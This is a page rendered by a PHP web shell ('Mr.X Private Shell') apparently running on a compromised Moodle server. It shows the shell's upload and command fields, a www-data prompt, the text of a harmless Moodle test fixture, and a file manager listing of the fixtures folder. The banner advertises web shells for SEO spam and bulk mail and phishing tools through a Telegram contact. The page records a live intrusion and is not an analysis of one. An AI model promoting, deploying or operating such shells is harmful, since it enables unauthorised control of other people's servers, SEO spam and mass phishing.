__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace test_component\courseformat;

use core_courseformat\base as course_format;
use core_courseformat\output\local\content\section\controlmenu;
use core_courseformat\sectiondelegate as sectiondelegatebase;
use core_courseformat\stateupdates;
use section_info;
use renderer_base;
use action_menu;

/**
 * Test class for section delegate.
 *
 * @package    core_courseformat
 * @copyright  2023 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class sectiondelegate extends sectiondelegatebase {

    /** @var string force the default parent action menu. */
    public const MENUPARENT = 'parent';

    /** @var string force an empty action menu. */
    public const MENUEMPTY = 'empty';

    /** @var string force a null action menu. */
    public const MENUNULL = 'null';

    /** @var int The itemid to use to simulate disabled component. */
    public const DISABLEDITEMID = 999;

    /**
     * @var string|null Status to define which action menu to return when calling get_section_action_menu().
     * Alternatively, different testing classes could be created, but it wasn't worth it for this case.
     */
    protected ?string $actionmenustatus = self::MENUPARENT;

    /**
     * Test method to fake preprocesses the section name by appending a suffix to it.
     *
     * @param section_info $section The section information.
     * @param string|null $newname The new name for the section.
     * @return string|null The preprocessed section name with the suffix appended.
     */
    public function preprocess_section_name(section_info $section, ?string $newname): ?string {
        if (empty($newname)) {
            return 'null_name';
        }
        return $newname . '_suffix';
    }

    /**
     * Test method to add state updates of a section with additional information.
     *
     * @param section_info $section The section to update.
     * @param stateupdates $updates The state updates to apply.
     * @return void
     */
    public function put_section_state_extra_updates(section_info $section, stateupdates $updates): void {
        $updates->add_cm_put($section->itemid);
    }

    /**
     * Helper to change the behaviour of the get_section_action_menu(), for testing purposes, to return a different action menu
     * based on the value of $actionmenustatus. For instance:
     * - 'parent' returns the parent action menu.
     * - 'empty' returns an empty action menu.
     * - 'null' or null returns null action menu.
     *
     * @param string|null $actionmenustatus The status of the action menu.
     */
    public function set_section_action_menu(
        ?string $actionmenustatus,
    ) {
        $this->actionmenustatus = $actionmenustatus;
    }

    /**
     * Allow delegate plugin to modify the available section menu.
     * By default, it returns the parent action menu.
     *
     * @param course_format $format The course format instance.
     * @param controlmenu $controlmenu The control menu instance.
     * @param renderer_base $output The renderer instance.
     * @return action_menu|null The new action menu with the list of edit control items or null if no action menu is available.
     */
    public function get_section_action_menu(
        course_format $format,
        controlmenu $controlmenu,
        renderer_base $output,
    ): ?action_menu {
        switch ($this->actionmenustatus) {
            case self::MENUPARENT:
                return parent::get_section_action_menu($format, $controlmenu, $output);

            case self::MENUEMPTY:
                return new action_menu();

            case self::MENUNULL:
            default:
                return null;
        }
    }

    /**
     * Check if the delegate is enabled.
     *
     * To simulate a disabled component, the itemid is set to DISABLEDITEMID.
     *
     * @return bool
     */
    public function is_enabled(): bool {
        if ($this->sectioninfo->itemid === self::DISABLEDITEMID) {
            return false;
        }
        return true;
    }
}

Filemanager

Name Type Size Permission Actions
component Folder 0777
core_renderer Folder 0777
fakeplugins Folder 0777
hook Folder 0777
langtest Folder 0777
messageinbound Folder 0777
router Folder 0777
update_validator Folder 0777
attribute_helper_example.php File 2.53 KB 0777
block_ablocktype.php File 1.01 KB 0777
component_class_callback_example.php File 1.84 KB 0777
deprecated_fixtures.php File 3.91 KB 0777
empty.txt File 32 B 0777
event_fixtures.php File 8.2 KB 0777
event_mod_badfixtures.php File 1.12 KB 0777
event_mod_fixtures.php File 1.11 KB 0777
events.php File 1.73 KB 0777
fixtures_not_tested_test.php File 1.35 KB 0777
gd-logo.png File 2.39 KB 0777
google_gmail.ics File 576 B 0777
max_input_vars.php File 8.09 KB 0777
ms_outlook_2010.ics File 1.19 KB 0777
namespaced_form.php File 1.52 KB 0777
osx_yosemite.ics File 763 B 0777
readonlyform.php File 2.17 KB 0777
repeated_events.ics File 825 B 0777
sectiondelegatetest.php File 4.65 KB 0777
securetestpage.php File 1.33 KB 0777
stats_events.php File 1.65 KB 0777
statslib-test00.xml File 1.02 KB 0777
statslib-test01.xml File 3.29 KB 0777
statslib-test02.xml File 3.3 KB 0777
statslib-test03.xml File 4.27 KB 0777
statslib-test04.xml File 4.45 KB 0777
statslib-test05.xml File 4.32 KB 0777
statslib-test06.xml File 4.5 KB 0777
statslib-test07.xml File 4.72 KB 0777
statslib-test08.xml File 3.73 KB 0777
statslib-test09.xml File 3.62 KB 0777
statslib-test10.xml File 3 KB 0777
tabfile.csv File 344 B 0777
task_fixtures.php File 3.76 KB 0777
test_external_function_throwable.php File 2.58 KB 0777
test_renderer_factory.php File 5.34 KB 0777
testable_antivirus.php File 2.76 KB 0777
testable_auth_plugin_base.php File 1.84 KB 0777
testable_block_manager.php File 1.44 KB 0777
testable_core_h5p.php File 3.5 KB 0777
testable_core_media_player.php File 2.85 KB 0777
testable_core_media_player_native.php File 2.66 KB 0777
testable_encryption.php File 1.09 KB 0777
testable_flexible_table.php File 1.41 KB 0777
testable_plugin_manager.php File 4.02 KB 0777
testable_plugininfo_base.php File 1.73 KB 0777
testable_update_api.php File 7 KB 0777
testable_update_checker.php File 6.01 KB 0777
testable_update_code_manager.php File 1.93 KB 0777
testable_update_validator.php File 1.69 KB 0777
testeable_dynamic_tab.php File 1.92 KB 0777
timezonewindows.xml File 42.83 KB 0777
upload_grades.csv File 61 B 0777
upload_users.csv File 191 B 0777
upload_users_category.csv File 720 B 0777
upload_users_cohorts.csv File 276 B 0777
upload_users_email_matching.csv File 194 B 0777
upload_users_emailstop.csv File 154 B 0777
upload_users_enrol_date_period.csv File 226 B 0777
upload_users_profile.csv File 194 B 0777
upload_users_themes.csv File 311 B 0777
Filemanager